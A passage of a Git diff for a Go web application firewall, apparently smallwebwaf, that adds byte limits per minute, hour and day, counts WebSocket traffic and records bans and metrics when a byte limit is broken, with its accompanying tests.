bool)) (*Config, error) { RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "10000"), RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"), RateLimitExemptPaths: env.pathPrefixes("SWWAF_RATE_LIMIT_EXEMPT_PATHS", ""), + BytesLimitPerMinute: env.size("SWWAF_BYTES_LIMIT_PER_MINUTE", "10G"), + BytesLimitPerHour: env.size("SWWAF_BYTES_LIMIT_PER_HOUR", "20G"), + BytesLimitPerDay: env.size("SWWAF_BYTES_LIMIT_PER_DAY", "50G"), + BytesCount: env.bytesCount("SWWAF_BYTES_COUNT", "both"), LookupSource: env.lookupSource("SWWAF_LOOKUP_SOURCE", "geojs"), LookupDBPath: env.value("SWWAF_LOOKUP_DB_PATH", ""), LookupTimeout: env.durationNotOff("SWWAF_LOOKUP_TIMEOUT", "1s"), @@ -551,6 +565,17 @@ func (e *environment) count(name, defaultValue string) int64 { return count } +// bytesCount reads the setting that is which body bytes count toward the +// byte limits: response, request or both. +func (e *environment) bytesCount(name, defaultValue string) string { + value := e.value(name, defaultValue) + if value != "response" && value != "request" && value != "both" { + e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount)) + } + + return value +} + // pathPrefixes reads a setting that is a list of path prefixes. func (e *environment) pathPrefixes(name, defaultValue string) []string { prefixes, err := parsePathPrefixes(e.value(name, defaultValue)) diff --git a/internal/config/config_test.go b/internal/config/config_test.go index e2c59dd..207b171 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -40,6 +40,10 @@ const ( rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" + bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE" + bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR" + bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY" + bytesCount = "SWWAF_BYTES_COUNT" lookupSource = "SWWAF_LOOKUP_SOURCE" lookupDBPath = "SWWAF_LOOKUP_DB_PATH" lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" @@ -190,6 +194,10 @@ func TestDefaults(t *testing.T) { wantLookupSettings(t, cfg, config.Config{ LookupSource: defaultLookupSource, LookupTimeout: time.Second, }) + wantByteLimitSettings(t, cfg, config.Config{ + BytesLimitPerMinute: 10 << 30, BytesLimitPerHour: 20 << 30, + BytesLimitPerDay: 50 << 30, BytesCount: "both", + }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { t.Errorf("%s is %s", upstreamURL, cfg.UpstreamURL) @@ -220,6 +228,22 @@ func TestDefaults(t *testing.T) { } } +func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + + // The largest request body and the largest response, both counted. + largest := cfg.RequestMaxBytes + cfg.ResponseMaxBytes + for _, limit := range []int64{ + cfg.BytesLimitPerMinute, cfg.BytesLimitPerHour, cfg.BytesLimitPerDay, + } { + if largest > limit { + t.Errorf("a request of %d bytes breaks the byte limit of %d", largest, limit) + } + } +} + func TestValuesAsSet(t *testing.T) { t.Parallel() @@ -302,6 +326,22 @@ func TestValuesAsSet(t *testing.T) { wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") } +func TestByteLimitSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + bytesLimitPerMinute: "512M", + bytesLimitPerHour: off, + bytesLimitPerDay: "100000", + bytesCount: "response", + }) + + wantByteLimitSettings(t, cfg, config.Config{ + BytesLimitPerMinute: 512 << 20, BytesLimitPerHour: 0, + BytesLimitPerDay: 100000, BytesCount: "response", + }) +} + func TestRateLimitExemptPathsAsSet(t *testing.T) { t.Parallel() @@ -996,6 +1036,9 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {rateLimitPerHour, "1.5"}, {rateLimitPerDay, "-1"}, {rateLimitPerDay, "lots"}, {rateLimitExemptPaths, "/assets/,,/static/"}, + {bytesLimitPerMinute, "10GB"}, {bytesLimitPerHour, "0"}, + {bytesLimitPerDay, "-1G"}, + {bytesCount, "all"}, {bytesCount, "Both"}, {bytesCount, ""}, {lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, {lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"}, {addLookupHeaders, "yes"}, @@ -1250,20 +1293,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { t.Parallel() cfg := fromEnvironment(t, environment{clientRequestTimeout: "45s"}) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - var line struct { - Settings map[string]string `json:"settings"` - } - - err := json.Unmarshal(out.Bytes(), &line) - if err != nil { - t.Fatalf("decode %s: %v", out.Bytes(), err) - } - hostname, _ := os.Hostname() want := map[string]string{ @@ -1286,6 +1315,10 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { rateLimitPerHour: "10000", rateLimitPerDay: "50000", rateLimitExemptPaths: "", + bytesLimitPerMinute: "10G", + bytesLimitPerHour: "20G", + bytesLimitPerDay: "50G", + bytesCount: "both", lookupSource: defaultLookupSource, lookupDBPath: "", lookupTimeout: "1s", @@ -1323,11 +1356,31 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { alertCooldown: defaultAlertCooldown, alertMaxPerHour: "60", } - if !maps.Equal(line.Settings, want) { - t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) + if got := loggedSettings(t, cfg); !maps.Equal(got, want) { + t.Errorf("logged settings\n%v\nwant\n%v", got, want) } } +// loggedSettings returns the settings as cfg logs them, each by its name. +func loggedSettings(t *testing.T, cfg *config.Config) map[string]string { + t.Helper() + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + var line struct { + Settings map[string]string `json:"settings"` + } + + err := json.Unmarshal(out.Bytes(), &line) + if err != nil { + t.Fatalf("decode %s: %v", out.Bytes(), err) + } + + return line.Settings +} + // wantSettings checks the settings that are plain values. func wantSettings(t *testing.T, got *config.Config, want config.Config) { t.Helper() @@ -1351,6 +1404,21 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { wantBanSettings(t, got, want) } +// wantByteLimitSettings checks the settings for the byte limits. +func wantByteLimitSettings(t *testing.T, got *config.Config, want config.Config) { + t.Helper() + + if got.BytesLimitPerMinute != want.BytesLimitPerMinute || + got.BytesLimitPerHour != want.BytesLimitPerHour || + got.BytesLimitPerDay != want.BytesLimitPerDay || + got.BytesCount != want.BytesCount { + t.Errorf("byte limits %d, %d and %d counting %s, want %d, %d and %d counting %s", + got.BytesLimitPerMinute, got.BytesLimitPerHour, got.BytesLimitPerDay, + got.BytesCount, want.BytesLimitPerMinute, want.BytesLimitPerHour, + want.BytesLimitPerDay, want.BytesCount) + } +} + // wantLookupSettings checks the settings for lookups. func wantLookupSettings(t *testing.T, got *config.Config, want config.Config) { t.Helper() diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index cafb7dd..2dda76c 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -6,6 +6,7 @@ package metrics import ( "net/http" "strconv" + "strings" "time" "github.com/prometheus/client_golang/prometheus" @@ -89,8 +90,9 @@ func New(topN int, instanceName string) *Metrics { Help: "How long requests passed to the app took, from then to their end.", }), rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total", - "Requests that broke a rate limit, by its window.", - []string{"window"}), + "Requests that broke a rate limit or a byte limit, by its window and "+ + "its kind, requests or bytes.", + []string{"window", "kind"}), sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total", "Requests that passed a size or time limit, by its setting.", []string{"limit"}), @@ -325,7 +327,15 @@ func (m *Metrics) RequestEnded( } if line.LimitHit != "" { - m.rateLimitHits.WithLabelValues(line.LimitHit).Inc() + // The log line names a byte limit's window with _bytes after it. + window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes") + + kind := ratelimit.KindRequests + if isBytes { + kind = ratelimit.KindBytes + } + + m.rateLimitHits.WithLabelValues(window, kind).Inc() } if limit != "" { diff --git a/internal/proxy/alerts_test.go b/internal/proxy/alerts_test.go index 18e7124..49195b9 100644 --- a/internal/proxy/alerts_test.go +++ b/internal/proxy/alerts_test.go @@ -203,7 +203,16 @@ func startWithAlerts( ) (*sender, *clock, *proxy.Server, *alerts.Queue) { t.Helper() - app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env) +} + +// startAppWithAlerts is startWithAlerts in front of the app handler. +func startAppWithAlerts( + t *testing.T, handler http.HandlerFunc, env map[string]string, +) (*sender, *clock, *proxy.Server, *alerts.Queue) { + t.Helper() + + app := startApp(t, handler) clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} settings := map[string]string{ trustedProxies: trustLocalhost, diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index ced96a6..3a7c152 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -6,6 +6,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" ) @@ -41,36 +42,92 @@ func (rq *request) banned(now time.Time) bool { // limitBroken counts the request for the rate limits at now, notes the // client's counts for the log line, and reports whether the request takes -// the client over a limit. In enforce mode such a request bans the -// client's netblock, and sets the client's counters back to zero; in -// observe mode it does neither, and raises the alert for the ban it would -// have made, if that alert would be sent. +// the client over a rate limit, which breaks it. func (rq *request) limitBroken(now time.Time) bool { - group := clientGroup(rq.client) - - counts, hit, over := rq.h.limiter.Count(group, now) + counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now) rq.line.Counts = counts - if !over { - return false + if over { + rq.banForLimit(now, hit, rq.h.config.BanResponse) } + return over +} + +// countBytes counts the request's bytes for the byte limits, once its +// response has ended, and notes the client's byte totals for the log line; +// its requests stay there as the rate limits counted them. The bytes are +// the response's body bytes, the request's, or both, as SWWAF_BYTES_COUNT +// says; for an upgraded connection, such as a WebSocket, which has closed +// by then, what it carried from the app counts with the response's and +// what it carried from the client with the request's. Only a request +// passed to the app has them counted, and only one the rate limits +// counted; in observe mode, not one that enforce mode would have refused. +// Bytes that take the client over a byte limit break it; the response was +// passed on whole. +func (rq *request) countBytes() { + if !rq.counted || rq.line.WouldAction != "" { + return + } + + response, request := rq.out.bytes, rq.requestBytes() + if rq.upgraded != nil { + response += rq.upgraded.fromApp.Load() + request += rq.upgraded.toApp.Load() + } + + var bytes int64 + + switch rq.h.config.BytesCount { + case "response": + bytes = response + case "request": + bytes = request + default: // both + bytes = response + request + } + + now := rq.h.now() + + counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now, bytes) + rq.line.Counts.MinuteBytes = counts.MinuteBytes + rq.line.Counts.HourBytes = counts.HourBytes + rq.line.Counts.DayBytes = counts.DayBytes + + if over { + rq.banForLimit(now, hit, rq.out.status) + } +} + +// banForLimit bans the client's netblock at now for a broken limit, the +// one hit names, and notes the offence for the log line. status is what +// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over +// a rate limit, the app's answer for one whose bytes broke a byte limit. +// The ban sets the client's counters back to zero. In observe mode it +// makes no ban and sets nothing back, and raises the alert for the ban it +// would have made, if that alert would be sent. +func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { rq.line.LimitHit = hit.Window + if hit.Kind == ratelimit.KindBytes { + rq.line.LimitHit += "_bytes" // as counts names the byte totals + } + rq.line.Offence = requestlog.OffenceLimit netblock := rq.h.netblock(rq.client) if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) { - return true + return } notes := bans.Notes{ ASN: rq.line.ASN, ASName: rq.line.ASName, Country: rq.line.Country, + Kind: hit.Kind, Limit: hit.Limit, Window: hit.Window, - Count: hit.Requests, - Request: rq.noted(now), + Count: hit.Count, + Request: rq.noted(now, status), Requests: rq.netblockRequests(netblock), } @@ -80,18 +137,16 @@ func (rq *request) limitBroken(now time.Time) bool { rq.alertBan(ban) } - return true + return } ban, made := rq.h.ledger.BanForLimit(netblock, now, notes) - rq.h.limiter.Reset(group) + rq.h.limiter.Reset(clientGroup(rq.client)) rq.line.BanExpires = banExpires(ban) if made { rq.alertBan(ban) } - - return true } // banForAttack bans the client's netblock at now for a clear sign of @@ -110,7 +165,7 @@ func (rq *request) banForAttack(now time.Time, rule rules.Rule) { Country: rq.line.Country, RuleID: rule.ID, Target: rule.Target, - Request: rq.noted(now), + Request: rq.noted(now, rq.h.config.BanResponse), Requests: rq.netblockRequests(netblock), } @@ -177,16 +232,16 @@ func (rq *request) alertBan(ban bans.Ban) { }) } -// noted is the request, refused at now with SWWAF_BAN_RESPONSE, or in -// observe mode as it would have been, as the notes of the ban it makes -// keep it. -func (rq *request) noted(now time.Time) bans.Request { +// noted is the request, at now, with status, what the client was sent, or +// in observe mode would have been, as the notes of the ban it makes keep +// it. +func (rq *request) noted(now time.Time, status int) bans.Request { return bans.Request{ Time: now, Method: rq.in.Method, Host: rq.in.Host, Path: rq.in.URL.RequestURI(), - Status: rq.h.config.BanResponse, + Status: status, UserAgent: rq.in.UserAgent(), } } diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index b6dde20..824d01c 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -284,6 +284,7 @@ func TestBanNotes(t *testing.T) { ASN: asnDE, ASName: asNameDE, Country: "DE", + Kind: "requests", Limit: 1, Window: minute, Count: 2, diff --git a/internal/proxy/bodies.go b/internal/proxy/bodies.go index d4c23ae..0ac52b5 100644 --- a/internal/proxy/bodies.go +++ b/internal/proxy/bodies.go @@ -103,6 +103,48 @@ func (b *responseBody) Close() error { return b.body.Close() } +// upgradedConn is the connection to the app once the app has switched +// protocols, as for a WebSocket. ReverseProxy writes to it what the client +// sends and reads from it what the app sends, on goroutines of its own, +// until the connection closes; it counts the bytes each way, for the byte +// limits. +type upgradedConn struct { + io.ReadWriteCloser + + // fromApp is how many bytes the app has sent, and toApp how many the + // client has. + fromApp atomic.Int64 + toApp atomic.Int64 +} + +// Read reads what the app sends. +func (c *upgradedConn) Read(p []byte) (int, error) { + n, err := c.ReadWriteCloser.Read(p) + c.fromApp.Add(int64(n)) + + return n, err +} + +// Write sends the app what the client sent. +func (c *upgradedConn) Write(p []byte) (int, error) { + n, err := c.ReadWriteCloser.Write(p) + c.toApp.Add(int64(n)) + + return n, err +} + +// CloseWrite tells the app that the client sends no more, while what the +// app sends still passes. ReverseProxy calls it once the client has +// stopped sending, and closes the connection there if it is not supported. +func (c *upgradedConn) CloseWrite() error { + conn, ok := c.ReadWriteCloser.(interface{ CloseWrite() error }) + if !ok { + return http.ErrNotSupported + } + + return conn.CloseWrite() +} + // limitBody returns body, cut off with an *http.MaxBytesError after // maxBytes, or unchanged if maxBytes is zero, which is off. func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser { diff --git a/internal/proxy/bytelimits_test.go b/internal/proxy/bytelimits_test.go new file mode 100644 index 0000000..f96f31b --- /dev/null +++ b/internal/proxy/bytelimits_test.go @@ -0,0 +1,583 @@ +package proxy_test + +import ( + "bufio" + "io" + "net" + "net/http" + "net/netip" + "strconv" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The byte limit settings. +const ( + bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE" + bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR" + bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY" + bytesCount = "SWWAF_BYTES_COUNT" +) + +// The values of SWWAF_BYTES_COUNT. +const ( + countResponse = "response" + countRequest = "request" + countBoth = "both" +) + +const ( + // bodyBytes is the size of the body of each request these tests send + // with one, and answerBytes that of each answer of the app. + bodyBytes = 30 + answerBytes = 70 + // byteLimit is the byte limit these tests set, as a setting: a request + // with a body and its answer, 100 bytes, go over it. + byteLimit = "99" + // minuteBytes is limit_hit for SWWAF_BYTES_LIMIT_PER_MINUTE. + minuteBytes = "minute_bytes" +) + +func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) { + t.Parallel() + + const scraper = "192.0.2.200" + + for _, tc := range []struct { + setting, window string + // apart is the time between the two requests, which the window + // still covers. + apart time.Duration + }{ + {bytesLimitPerMinute, minute, 0}, + {bytesLimitPerHour, "hour", 2 * time.Minute}, + {bytesLimitPerDay, "day", 2 * time.Hour}, + } { + t.Run(tc.setting, func(t *testing.T) { + t.Parallel() + + s, clk := startWithAnswers(t, map[string]string{ + tc.setting: byteLimit, metricsToken: token, + }) + + // 70 bytes are within the limit of 99. + line, _ := s.download() + if line.LimitHit != "" || line.Offence != "" { + t.Errorf("log line has limit_hit %q and offence %q, want neither", + line.LimitHit, line.Offence) + } + + // 140 bytes are over it. The response is passed on whole, and + // then bans the client for an hour. + clk.advance(tc.apart) + expires := requestlog.FormatTime(clk.Now().Add(time.Hour)) + + line, got := s.download() + if got.err != nil || len(got.body) != answerBytes || + line.ResponseBytes != answerBytes { + t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+ + "want %d", len(got.body), got.err, line.ResponseBytes, answerBytes) + } + + if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit || + line.BanExpires != expires { + t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want %s_bytes, limit and %s", line.LimitHit, line.Offence, + line.BanExpires, tc.window, expires) + } + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + + wantMetric(t, s.scrape(scraper), `smallwebwaf_rate_limit_hits_total{`+ + `instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1) + }) + } +} + +func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) { + t.Parallel() + + s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: "50"}) + + // The answer's 70 bytes are over the limit of 50 on their own. + line, got := s.download() + if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes { + t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s", + len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes) + } + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) +} + +func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) { + t.Parallel() + + s, clk, _, _ := startAppWithAlerts(t, breakOff, map[string]string{ + bytesLimitPerMinute: "50", + }) + expires := requestlog.FormatTime(clk.Now().Add(time.Hour)) + + // The 70 bytes passed on before the app broke off are over the limit of + // 50, and ban the client for an hour. + line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK, + requestlog.ActionUpstreamError) + if len(got.body) != answerBytes || line.LimitHit != minuteBytes || + line.BanExpires != expires { + t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+ + "want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires, + answerBytes, minuteBytes, expires) + } + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) +} + +func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + setting string + counted float64 + }{ + {countResponse, answerBytes}, + {countRequest, bodyBytes}, + {countBoth, bodyBytes + answerBytes}, + } { + t.Run(tc.setting, func(t *testing.T) { + t.Parallel() + + s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{ + bytesLimitPerMinute: "29", bytesCount: tc.setting, + }) + + // The client sends 30 bytes and the app 70, each over the limit + // of 29, which bans the client once the WebSocket has closed. + line := s.webSocket() + if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted { + t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v", + line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted) + } + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + }) + } +} + +func TestWebSocketPassesTheAnswerAfterTheClientStopsSending(t *testing.T) { + t.Parallel() + + app := startApp(t, echoOnceTheClientStops) + addr, out := startProxy(t, app.URL, + map[string]string{trustedProxies: trustLocalhost}) + s := &sender{t: t, addr: addr, out: out} + + conn, reader := s.openWebSocket() + send(t, conn, uploadBody) + + // The client closes its sending side and waits for the answer, which the + // app sends only once it has seen the client stop. smallwebwaf passes the + // close on to the app through CloseWrite on upgradedConn; without that, + // it closes both connections, and the answer is lost. + tcp, ok := conn.(*net.TCPConn) + if !ok { + t.Fatalf("connection is a %T, want a *net.TCPConn", conn) + } + + err := tcp.CloseWrite() + if err != nil { + t.Fatalf("close the sending side: %v", err) + } + + got, err := io.ReadAll(reader) + if err != nil || string(got) != uploadBody { + t.Errorf("got %q (%v), want %q", got, err, uploadBody) + } + + s.closeWebSocket(conn) +} + +func TestBytesCountSaysWhichBytesCount(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + setting string + // each is the bytes each request counts, and breaking the request + // that goes over the limit of 99. + each float64 + breaking int + }{ + {countResponse, answerBytes, 2}, + {countRequest, bodyBytes, 4}, + {countBoth, bodyBytes + answerBytes, 1}, + } { + t.Run(tc.setting, func(t *testing.T) { + t.Parallel() + + s, _ := startWithAnswers(t, map[string]string{ + bytesLimitPerMinute: byteLimit, bytesCount: tc.setting, + }) + + for i := 1; i <= tc.breaking; i++ { + line := s.upload() + + want := "" + if i == tc.breaking { + want = minuteBytes + } + + counted := float64(i) * tc.each + if line.LimitHit != want || line.Counts.MinuteBytes != counted { + t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+ + "want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes, + want, counted) + } + } + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + }) + } +} + +func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) { + t.Parallel() + + const ( + allowed = "192.0.2.7" // in SWWAF_ALLOW_NETS + exempt = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS + ) + + s, _ := startWithAnswers(t, map[string]string{ + bytesLimitPerMinute: byteLimit, + allowNets: allowed, + rateLimitExemptNets: exempt, + rateLimitExemptPaths: "/assets/", + }) + + // Each sends 200 bytes, none of which is counted. + for _, sent := range []struct{ from, path string }{ + {allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"}, + } { + for range 2 { + line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path, + uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward) + if _, counted := line.fields["counts"]; counted || line.LimitHit != "" { + t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither", + sent.from, sent.path, line.fields["counts"], line.LimitHit) + } + } + } + + // A path that is not exempt is counted, and breaks the limit. + line := s.upload() + if line.LimitHit != minuteBytes { + t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes) + } +} + +func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) { + t.Parallel() + + const off = "off" + + s, _ := startWithAnswers(t, map[string]string{ + bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off, + }) + + for i := 1; i <= 3; i++ { + line := s.upload() + + counted := float64(i * (bodyBytes + answerBytes)) + if line.LimitHit != "" || line.Counts.MinuteBytes != counted || + line.Counts.HourBytes != counted || line.Counts.DayBytes != counted { + t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+ + "want none and %v bytes in each window", i, line.LimitHit, + line.Counts, counted) + } + } +} + +func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ + bytesLimitPerMinute: byteLimit, + }) + start := clk.Now() + + s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader, + uploadBody, http.StatusOK, requestlog.ActionForward) + + netblock := netip.MustParsePrefix(client + "/32") + want := bans.Ban{ + Netblock: netblock, + Start: start, + Expires: start.Add(time.Hour), + Cause: bans.CauseLimit, + Reason: "bytes per minute over the limit of " + byteLimit, + Notes: bans.Notes{ + Kind: "bytes", + Limit: 99, + Window: minute, + Count: bodyBytes + answerBytes, + // The request as it was answered, by the app. + Request: bans.Request{ + Time: start, + Method: http.MethodPost, + Host: appHost, + Path: "/upload?part=1", + Status: http.StatusOK, + UserAgent: userAgent, + }, + Requests: 1, + }, + } + + got := server.Ledger.Bans(netblock) + if len(got) != 1 || got[0] != want { + t.Fatalf("bans\n%+v\nwant\n%+v", got, want) + } + + wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, want, + requestlog.FormatTime(want.Expires))) + + if offences := historyOf(t, server, client).Offences.Limit; offences != 1 { + t.Errorf("history counts %d offences for a limit, want 1", offences) + } +} + +func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ + mode: observe, + bytesLimitPerMinute: byteLimit, + }) + start := clk.Now() + + // No ban sets the client's counters back to zero, so each request + // breaks the limit again. The answer is the app's either way, and the + // alert for the ban is not sent twice within the cooldown. + for range 2 { + line := s.upload() + wantWouldAction(t, line, "") + + if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit || + line.BanExpires != "" { + t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires, + minuteBytes) + } + } + + if held := server.Ledger.Snapshot(); len(held) != 0 { + t.Errorf("the ledger holds %+v, want no ban", held) + } + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 { + t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting) + } + + notes, _ := waiting[0].Detail["notes"].(bans.Notes) + alert := banAlert(alerts.EventBan, start, client, bans.Ban{ + Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit, + Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes, + }, requestlog.FormatTime(start.Add(time.Hour))) + alert.Detail["mode"] = observe + wantAlerts(t, queue, alert) +} + +func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) { + t.Parallel() + + s, _ := startWithAnswers(t, map[string]string{ + mode: observe, + rateLimitPerMinute: "1", + bytesLimitPerMinute: "150", + }) + + s.upload() + + // The second request breaks the rate limit, which in enforce mode would + // refuse it before the app sent anything, so its 100 bytes are not + // counted, and the byte limit is not broken. Its line gives the bytes + // counted before it. + line := s.upload() + wantWouldAction(t, line, requestlog.ActionRateLimited) + + if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes { + t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d", + line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes) + } +} + +// uploadHeader and uploadBody are the header and the body of a request +// with a body of bodyBytes. +// +//nolint:gochecknoglobals // a constant cannot call strings.Repeat +var ( + uploadHeader = "Content-Length: " + strconv.Itoa(bodyBytes) + uploadBody = strings.Repeat("u", bodyBytes) +) + +// readAndAnswer is the app of these tests: it reads each request's whole +// body and answers with answerBytes bytes. +func readAndAnswer(w http.ResponseWriter, r *http.Request) { + _, _ = io.Copy(io.Discard, r.Body) + _, _ = io.WriteString(w, strings.Repeat("a", answerBytes)) +} + +// breakOff is an app that announces an answer of twice answerBytes, and +// breaks off after answerBytes. +func breakOff(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Length", strconv.Itoa(2*answerBytes)) + _, _ = io.WriteString(w, strings.Repeat("a", answerBytes)) +} + +// answerAfterUpgrade is an app that switches protocols, as for a +// WebSocket, and then answers each line it receives with a line of +// answerBytes. +func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) { + conn, buffered, err := http.NewResponseController(w).Hijack() + if err != nil { + return + } + + defer func() { + _ = conn.Close() + }() + + _, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" + + "Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n") + _ = buffered.Flush() + + for { + _, err := buffered.ReadString('\n') + if err != nil { + return + } + + _, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n") + _ = buffered.Flush() + } +} + +// echoOnceTheClientStops is an app that switches protocols, as for a +// WebSocket, reads what the client sends until the client stops sending, +// and then sends it all back. +func echoOnceTheClientStops(w http.ResponseWriter, _ *http.Request) { + conn, buffered, err := http.NewResponseController(w).Hijack() + if err != nil { + return + } + + defer func() { + _ = conn.Close() + }() + + _, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" + + "Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n") + _ = buffered.Flush() + + received, _ := io.ReadAll(buffered) + _, _ = buffered.Write(received) + _ = buffered.Flush() +} + +// webSocket opens a WebSocket from client to answerAfterUpgrade, sends a +// line of bodyBytes on it, reads the answer, and closes it. It checks the +// answer, and the log line as request does, and returns the log line. +func (s *sender) webSocket() logLine { + s.t.Helper() + + conn, reader := s.openWebSocket() + send(s.t, conn, strings.Repeat("u", bodyBytes-1)+"\n") + + got, err := reader.ReadString('\n') + if err != nil || len(got) != answerBytes { + s.t.Errorf("got %d bytes (%v), want %d", len(got), err, answerBytes) + } + + return s.closeWebSocket(conn) +} + +// openWebSocket sends a request from client to switch protocols, as for a +// WebSocket, and checks that the app 